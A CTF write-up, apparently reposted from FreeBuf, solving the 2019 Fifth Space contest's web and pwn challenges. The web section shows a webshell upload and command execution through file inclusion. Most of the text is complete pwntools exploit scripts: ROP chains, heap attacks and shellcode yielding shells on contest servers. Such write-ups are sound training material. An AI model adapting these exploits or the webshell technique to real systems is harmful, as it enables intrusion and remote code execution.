第五空间比赛P4F Writeup
2019-09-24 10:00:27 Author: www.freebuf.com(查看原文) 阅读量:150 收藏

前言

在第五空间比赛中总共做出10道pwn和3道web,官方没给出writeup,在此交流思路,请大佬勿喷。吐槽一下比赛环境,感受到被500支配的恐惧,理论题做了两次,浪费了很多时间;而且web题有题挂了,运维很久也没维护好环境,心疼运维人员。

WEB

六尘

这个题目应该是找到了一个非预期解

从github上下载了v2.6的源码,发现了log文件夹,在access.log里找到flag记录

空性

F12找到一个php文件

这里有源码泄露 ,找到.xxx.swp之后,使用vim还原源码

尝试使用data协议

http://111.33.164.6:10003/151912db206ee052.php?fname=data://text/plain;base64,d2hvYW1p

进到文件上传部分

经过测试,发现.html文件可以上传。于是上传一个写有免杀马的图片,使用burp将.jpg文件改为.html后缀。

上传成功之后记录下上传的文件目录

回到上传页面,可以使用文件包含漏洞,并尝试进行命令执行

参数pass=phpinfo();成功执行

接下来就可以直接列出该目录下的文件了

http://111.33.164.6:10003/2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=upload/d95088ce1ecdf6&hash256=e93aa07e284dfa0aa741aae1a208e924&pass=print_r(scandir(%27./flagishere%27));

找到对应的文件,附上队伍token,获取flag成功

空相

?id=1′

访问相应页面并附上队伍token,获取flag成功

flag{860a99c6bb9d3aba8ed13b77a39f179e}

PWN

副墨/bf

首先是一个read函数栈溢出,覆盖srand函数的种子seed为0,从而进行绕过随机以执行第二个漏洞点,printf的格式化字符串。分析过程得知Canary在函数偏移为19时可以爆出来,同时偏移17为<__libc_start_main+240>,可得出Libc的地址。

拿到Canary和泄露出Libc地址之后使用LibcSearcher查找Libc版本,同时使用ROPgadget查找ROP,对栈溢出进行直接对EIP进行System函数覆盖。

#coding=utf-8 
from pwn import * 
from LibcSearcher import * 
from ctypes import * 
import sys 
context.log_level = 'debug' 
debug = 1 
if debug: 
    p = process('./bf') 
else: 
    p = remote('111.33.164.4',50001) 
#Step1 : Overwrite seed  
p.sendlineafter("Are you sure want to play the game?",str(1)) 
payload = '%17$p%19$p' 
payload = payload.ljust(24,'\x00') 
payload += p64(0x0) 
p.sendlineafter("Input your name :",payload) 
#Step2 : pass srand and leak Canary 
libc = cdll.LoadLibrary("libc.so.6") 
res = [] 
def dice_game(): 
    for i in range(10): 
        rand = libc.rand() 
        res.append(rand % 99999 + 1) 
    print res 
dice_game() 
for point in res: 
    p.sendlineafter("Now guess:", str(point))   
p.recvuntil('\n') 
recv = p.recv().split('0x') 
print recv 
canary = int(recv[1],16) 
libc_start_main_ret= int(recv[2],16)   
print 'canary---->' + hex(canary) 
print 'libc_start_main_ret---->' + hex(libc_start_main_ret) 
#Step3 : exploit 
Libc = LibcSearcher("__libc_start_main_ret", libc_start_main_ret) 
print Libc 
Libc_base = libc_start_main_ret - Libc.dump("__libc_start_main_ret") 
print hex(Libc_base) 
system = Libc_base + Libc.dump("system") 
binsh = Libc_base + Libc.dump("str_bin_sh") 
pop_rdi_ret = Libc_base + 0x0021102 
payload = 'a'*0x34 + p64(canary) + 'a'*8 + p64(pop_rdi_ret) +p64(binsh) + p64(system) 
p.send(payload) 
p.interactive()

洛诵/mybook

首先浮点数绕过,对输入划分为三个浮点数,对最后一个浮点数进行计算并判断最后三位是否位’AAA‘,按道理对A*B=C ,已知 C和B 求A,直接用C语言进行反求A,就OK了。求解c脚本如下:

#include "stdio.h" 
#include "stdlib.h" 
int main() 
{ 
    int x=0x41414141; 
    float *y = (float *)&x; 
    *y = *y / 0.248713; 
    unsigned char *z = (unsigned char*)&x; 
    for(int i = 0; i<4 ; i++) 
        printf("%x ",z[i]); 
}

然后在edit函数有off by one 漏洞

给的时libc-2.27.so,会用到 TCACHE,但最后发现题目给的libc和服务器libc不一样。。

from PwnContext import *
if __name__ == '__main__':        
    #context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './mybooks'
    #elf=ELF('./mybook')
    ctx.remote = ('111.33.164.4', 50002)
    #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    libc = ELF('./thelibc.so')
    def add(name,sz,c):
        sla('>', 1)
        sa('name', name)
        sla('size', sz)
        sa('description: ',c)
    def delete(idx):
        sla('>', 2)
        sla('id', idx)
    def edit(id, name,c):#off by one
        sla('>', 3)
        sla('id', id)
        sa('name: ', name)
        sa('description: ', c)
    def show(id):
        sla('>', 4)
        sla('id', id)
    rs('remote')
    sl('\x01ABB'*3)
    add('0\n',0xf8,'0\n')
    add('1\n',0xf8,'1\n')
    add('2\n',0xf8,'2\n')
    add('/bin/sh\n',0xf8,'3\n')
    #leak libc
    delete(0)
    add('\n',0xf8,'\n')
    show(0)
    ru('Description: ')
    leak = uu64(r(6))
    print hex(leak)
    libc_base = leak-0x3a560a
    #libc_base = leak-0x3c4b0a#local
    print hex(libc_base)
    #chunk overlap
    mh = libc.sym['__malloc_hook']+libc_base
    fh=libc.sym['__free_hook']+libc_base
    sys = libc.sym['system']+libc_base
    print hex(sys)
    delete(0)
    edit(2,'a'*0x10+p64(0x2a0),'2\n')#off by one
    delete(2)
    add('0\n',0x120,'0'*0xf0+p64(0)+p64(0x31)+p64(1)+p64(fh)+p64(fh)+p64(0x120)+'\n')
    edit(1,p64(sys)+'\n',p64(sys)+'\n')
    delete(3)
    irt()

於讴/pwn6

简单栈溢出,直接ROP利用puts输出libc,然后往某个固定地址写入/bin/sh,再返回执行system(第一次用这种方法)。也可以在libc中搜索/bin/sh的偏移。

from PwnContext import *
if __name__ == '__main__':        
    context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn6'
    ctx.remote = ('111.33.164.4',50006)
    elf = ELF('./pwn6')
    #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    libc = ELF('./thelibc.so')
    rs('remote')
    #rs()
    #leak libc
    p_rdi = 0x414fc3
    p_rsi_rdx = 0x414fc1
    sl(-1)
    ru('GOOD?')
    pay = 'a'*0x18 + p64(p_rdi) +p64(elf.got['puts']) + p64(elf.plt['puts'])+p64(0x400793)#ret main logic
    sl(pay)
    leak = uu64(ru('\n'))
    print hex(leak)
    print hex(libc.sym['puts'])
    sys = puts-0x2a500#puts - system
    #write /bin/sh
    addr = 0x621ff0
    sl(-1)
    pay = 'a'*0x18
    pay += p64(p_rdi)+p64(0)+p64(p_rsi_rdx)+p64(addr)+p64(8)+p64(elf.plt['read'])#write /bin/sh at addr
    pay += p64(p_rdi)+p64(addr)+p64(sys)#system(/bin/sh)
    sl(pay)
    sl('/bin/sh\x00')
    irt()

玄冥/pwn7

edit函数堆溢出,可以任意指定写入的字节长度,没有检查是否小于或等于原来的大小。

首先泄露libc,然后因为程序没开PIE,可以知道note_list的地址,用unlink技术往note_list中写free_hook的地址,在eidt写入system地址。

from PwnContext import *
if __name__ == '__main__':        
    #context.terminal = ['splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn7'
    libc = ELF('./thelibc.so')
    #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    ctx.remote = ('111.33.164.4', 50007)
    def add(sz):
        sla('>>', 1)
        sla('size:', sz)
    def show(idx):
        sla('>>', 2)
        sla('id:', idx)
    def edit(idx, sz,c):
        sla('>>', 3)
        sla('id:', idx)
        sla('size:', sz)
        sa('content:', c)
    def delete(idx):
        sla('>>', 4)
        sla('id', idx)
    note_list=0x6020e0
    rs('remote')
    #leak libc
    add(0x80)#0
    add(0x10)#1
    add(0x80)#2
    add(0x80)#3
    add(0x10)#4
    delete(0)
    add(0x80)
    show(0)
    ru('Your data:')
    leak = uu64(ru('\n'))
    libc_base = leak - 0x3a5678#remote
    #libc_base = leak - 0x3c4b78#local
    print hex(libc_base)
    #unlink
    pay = p64(0)+p64(0x81)+p64(note_list+0x10-0x18)+p64(note_list+0x10-0x10)+'\x00'*0x60
    pay += p64(0x80) + p64(0x90)
    edit(2, 0x200, pay+'\n')
    delete(3)
    fh = libc.sym['__free_hook']+libc_base
    sys = libc.sym['system']+libc_base
    #dbg()
    edit(2, 0x80, '/bin/sh\x00' + p64(fh)+'\n')
    edit(0, 0x80, p64(sys)+'\n')
    delete(2)    
    irt()

坐忘/pwn9

栈溢出

利用puts函数泄露canary

这个程序是静态编译的,所以用到的函数程序中都能找到,程序中没有的不能动态加载了。因为没找到system函数,所以考虑执行shellcode。

ROP:mprotect,写shellcode进去就行了,但mprotect的地址好像有所限制。参考资料:

https://stackoverflow.com/questions/31068263/solving-mprotect-syscall-failure

>

from PwnContext import *
from base64 import *
if __name__ == '__main__':        
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn9'
    elf=ELF('./pwn9')
    ctx.remote = ('111.33.164.4', 50009)
    #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    #libc = ELF('./thelibc.so')
    ctx.breakpoints=[0x4011F6]
    rs('remote')
    def ms(ss):
        c = b64encode(ss)
        s(c)
    def msl(ss):
        c = b64encode(ss)
        sl(c)
    p_rdi=0x401e36
    p_rsi=0x401f57
    p_rdx=0x4433e6
    puts=0x4106A0
    mpro=0x440AC0
    read=0x43FF70
    addr=0x6ca000
    pay = 'a'*9
    msl(pay)
    ru('a'*9)
    canary = uu64(r(7))<<8
    print hex(canary)
    dbg()
    msl('yes')
    shellcode = asm(shellcraft.sh())
    pay = 'a'*8 + p64(canary)+'b'*8
    pay+= p64(p_rdi)+p64(addr)+p64(p_rsi)+p64(0x1000)+p64(p_rdx)+p64(7)+p64(mpro)#mprotect
    pay+= p64(p_rdi)+p64(0)+p64(p_rsi)+p64(addr)+p64(p_rdx)+p64(0x100)+p64(read)#read
    pay+= p64(addr)
    msl(pay)
    sl('no')
    sl(shellcode)
    irt()

朝彻/pwn10

使用IDA发现edit功能存在UAF漏洞,在一个全局变量中缓存了一个上一次编辑的指针的地址,在第二次编辑时没有判断该指针对应的chunk是否已经被free进入fastbin,因此可以直接利用fastbin attack修改chunk的fd,将其指向事先伪造的chunk的头部。再次malloc时,就会取出我们伪造的chunk,这样可以形成堆重叠,控制其他chunk中的指针,进而可以实现任意读和任意写。

泄露了a64l的函数地址后,可以部分libc地址,调试时可以发现system函数和a64l函数的地址仅仅是低2个字节不同,高位字节的地址都是相同的,因此完全可以利用泄露的部分libc地址得到system的实际地址。接着就是改写a64l的got为system,最后getshell。

from pwn import *
context.os='Linux'
context.arch='amd64'
debug = 0
#context.log_level='debug'
if debug:
    context.log_level='debug'
    cn=process('./pwn10')
    elf=ELF('./pwn10')
else:
    cn = remote('111.33.164.4',50010)
    elf=ELF('./pwn10')
s       = lambda data               :cn.send(str(data))
sa      = lambda delim,data         :cn.sendafter(str(delim), str(data))
st      = lambda delim,data         :cn.sendthen(str(delim), str(data))
sl      = lambda data               :cn.sendline(str(data))
sla     = lambda delim,data         :cn.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :cn.recv(numb)
rl    = lambda                 :cn.recvline()
ru      = lambda delims             :cn.recvuntil(delims)
irt     = lambda                    :cn.interactive()
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
def add(size,content):
    ru("Give me your choice : ")
    sl(1)
    ru("Give me your size : ")
    sl(size)
    ru("Now give me your content")
    s(content)
def show(ind):
    ru("Give me your choice : ")
    sl(2)
    ru("Give me your index : ")
    sl(ind)
def edit(ind,size,content,flag):
    ru("Give me your choice : ")
    sl(3)
    if not flag:
        ru("Give me your index : ")
        sl(ind)
    ru("Give me your size : ")
    sl(size)
    ru("Now give me your content")
    s(content)
def dele(ind):
    ru("Give me your choice : ")
    sl(4)
    ru("Give me your index : ")
    sl(ind)
add(4,'a'*4)#0
add(0x20,'snow'*4+p64(0)+p64(0x30))#1
add(4,'a'*4)#2
edit(0,4,'b'*4,0)
dele(0)
#UAF,overlap
edit(0,1,'\xb0',1)
add(0x20-8,p64(0)+p64(0x31)+p64(elf.got['a64l']))
show(2)
ru('`')
addr=ord(r(1))
#print hex(addr)
# a6l4 got
sys=addr&0xf0
sys=(sys<<8)|0x490
edit(2,2,p64(sys)[:2],0)
ru("Give me your choice : ")
s('/bin/sh\x00')
irt()

拈花/pwn11

栈溢出,直接上ROP

ROP:第一次泄露libc,然后system(/bin/sh)

from PwnContext import *
if __name__ == '__main__':        
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn11'
    elf=ELF('./pwn11')
    ctx.remote = ('111.33.164.4', 50011)
    libc=ELF('./thelibc.so')
    ctx.breakpoints=[0x4011FF]
    ctx.symbols = {
    }
    rs('remote')
    #rs()
    p_rdi=0x4012ab
    p_rsi=0x4012a9
    s('a'*10)
    pay='a'*0x20+'b'*8
    #dbg()
    pay+=p64(p_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401080)
    s(pay)
    puts = libc.sym['puts']
    system =  libc.sym['system']
    binsh = libc.search('/bin/sh').next()
    ru('fail!')
    r(1)
    lb = uu64(r(6))
    print hex(lb)
    lb = lb-puts
    print hex(lb)
    binsh = binsh+lb
    sys = system+lb
    pay = 'a'*(0x28+2+8)
    pay+= p64(p_rdi)+p64(binsh)+p64(sys)
    s(pay)
    irt()

西来/pwn12

程序在init开始就调用mallopt(1, 0)禁用fastbin,并且在bss段布置了canary和px全局变量,应该是用来检查溢出的。

在edit函数存在off by one 漏洞,show函数和delete函数均存在索引上溢。

利用思路:通过show函数上溢泄露libc和canary,然后在is_root前16字节布置fake_size利用delete上溢将is_root字段改写不为0,接着利用off by one漏洞形成堆重叠,最后通过unsortedbin attack分配到bss段的user_chunk,实现任意写。

这题是赛后复现的,没有打远程。

from PwnContext import *
if __name__ == '__main__':        
    # context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
    #context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn12'
    elf=ELF('./pwn12')
    ctx.remote_libc = '/lib/x86_64-linux-gnu/libc-2.23.so'
    ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
    ctx.symbols = {'chunk':0x6022e0,'name':0x602080,'is_root':0x6020a0,'info':0x6020c0}
    ctx.breakpoints = [0x400FBF,0x400f0d]
    rs()
    #libc = ctx.libc # ELF object of the corresponding libc.
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    def add(sz):
        sl(1)
        sla('Size?',sz)
    def edit(idx,c):
        sl(2)
        sla('Index?',idx)
        sa(':',c)
    def show(idx):
        sl(3)
        sla('Index?',idx)
    def delete(idx):
        sl(4)
        sla('Index?',idx)
    def index(addr):
        return (addr-0x6022e0)/16
    chunk = 0x6022e0
    name = 0x602080
    is_root = 0x6020a0
    info = 0x6020c0
    canary_addr = 0x6022c0
    #leak libc
    #name
    pay = p64(is_root)+p64(0)
    pay+= p64(canary_addr+1)+p64(0x51)
    sa('name?',pay)
    #info
    pay = p64(elf.got['puts'])+p64(0)
    pay+= p64(info)+p64(0)
    pay+= p64(0x50)+p64(0x21) + 'a'*0x18 + p64(0x21)
    pay = pay.ljust(0x1e0,'\0')
    pay+= p64(0) + p64(0x4f1)#fake size
    pay+= p64(0) + p64(info+8)
    sa('info?',pay)
    #change is_root
    show(index(info))
    print r()
    leak = uu64(r(6))
    libc.address= leak-libc.sym['puts']
    success('libc_base={}'.format(hex(libc.address)))
    delete(index(name))
    add(0x40)#clear
    #leak canary
    ctx.clean()
    show(index(name+0x10))
    r()
    canary = uu64(r(7))<<8
    success('canary={}'.format(hex(canary)))
    #alloc to bss
    add(0xf8)#1
    add(0xf8)#2
    add(0xf8)#3
    add(0xf8)#4
    delete(1)
    edit(2,'a'*0xf0+p64(0x200))#off by one
    delete(3)    
    add(0xf8)#1  
    edit(2,p64(leak)+p64(canary_addr-0x20))#unsortedbin attack
    add(0x4e0)#3
    fh = libc.sym['__free_hook']
    sys = libc.sym['system']
    edit(3,p64(canary)*6+p64(fh))
    edit(0,p64(sys))
    edit(4,'/bin/sh\x00')
    delete(4)
    irt()

一苇/pwn13

栈溢出

如果用之前的思维,覆盖rbp泄露程序基址,会因为leave;ret指令报错。因此要换种思路,因为程序已经给了call system的函数,直接就覆盖返回地址的低两个字节爆破。

from PwnContext import *
if __name__ == '__main__':        
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn13'
    elf=ELF('./pwn13')
    ctx.remote = ('111.33.164.6', 50013)
    while True:
        try:
            rs('remote')
            sl(1)
            s('a'*0x28+'\x54\x0a')
            sl('ls')
            irt()
        except:
            continue
    irt()

正定/pwn14

跟pwn15一样,就改一些地址和参数。

from PwnContext import *
if __name__ == '__main__':        
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn14'
    elf=ELF('./pwn14')
    ctx.remote = ('111.33.164.6', 50014)
    ctx.breakpoints=[0xD94]
    ctx.symbols = {
        'lst':0x4040A0
    }
    rs('remote')
    def new(sz,c):
        sla('Your choice : ',1)
        sla('Size of note : ',sz)
        sa('Content of note:',c)
    def edit(idx,sz,c):#overflow
        sla('Your choice : ',2)
        sla('Index :',idx)
        sla('Size of note : ',sz)
        sa('Content of note : ',c)
    def delete(idx):
        sla('Your choice : ',3)
        sla('Index :',idx)
    fake = 0x40408d
    key=0x4040A0
    new(0x60,'0')
    new(0x60,'1')
    new(0x60,'2')
    delete(1)
    #dbg()
    edit(0,0x80,'a'*0x68+p64(0x71)+p64(fake))
    new(0x60,'1')
    new(0x60,'a'*(0x3)+p64(key))
    #dbg()
    edit(0,8,p64(2020))
    sl('70')
    #dbg()
    irt()

立雪/pwn15

edit 堆溢出。题目给了个后门,需要修改全局变量。利用堆溢出覆盖fd到bss,实现任意写。

from PwnContext import *
if __name__ == '__main__':        
    #context.terminal = ['tmux', 'splitw', '-h']
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
    sl      = lambda data               :ctx.sendline(str(data))
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    ctx.binary = './pwn15'
    elf=ELF('./pwn15')
    ctx.remote = ('111.33.164.6', 50015)
    rs('remote')
    def new(sz,c):
        sla('our choice:',1)
        sla('Length of note:',sz)
        sa('Content of note:',c)
    def edit(idx,sz,c):#overflow
        sla('our choice:',2)
        sla('Index:',idx)
        sla('Length of note:',sz)
        sa('Content of note:',c)
    def delete(idx):
        sla('our choice:',3)
        sla('Index:',idx)
    fake = 0x6020ad
    key=0x602088
    new(0x60,'0')
    new(0x60,'1')
    new(0x60,'2')
    delete(1)
    edit(0,0x80,'a'*0x68+p64(0x71)+p64(fake))
    new(0x60,'1')
    new(0x60,'a'*(0x3)+p64(key))
    #dbg()
    edit(0,8,p64(2020))
    sl('2019')
    #dbg()
    irt()

小结

总的来说这次比赛的题目比较简单,题目的名字很有诗意,比较考验体力,需要团队的密切配合提高解题效率。如果有更好的思路或方法,欢迎交流!

*本文作者:Snowleopardbin,转载请注明来自FreeBuf.COM


文章来源: https://www.freebuf.com/articles/others-articles/213340.html
如有侵权请联系:admin#unsafe.sh